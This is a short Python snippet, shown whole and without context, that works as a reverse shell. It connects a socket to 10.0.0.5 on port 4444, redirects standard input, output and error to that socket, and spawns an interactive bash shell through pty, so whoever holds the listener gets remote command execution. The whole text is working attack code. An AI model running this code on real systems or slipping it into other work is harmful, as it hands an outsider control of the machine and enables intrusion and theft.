import socket, pty, subprocess, os s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("10.0.0.5", 4444)) os.dup2(s.fileno(), 0) os.dup2(s.fileno(), 1) os.dup2(s.fileno(), 2) pty.spawn("/bin/bash")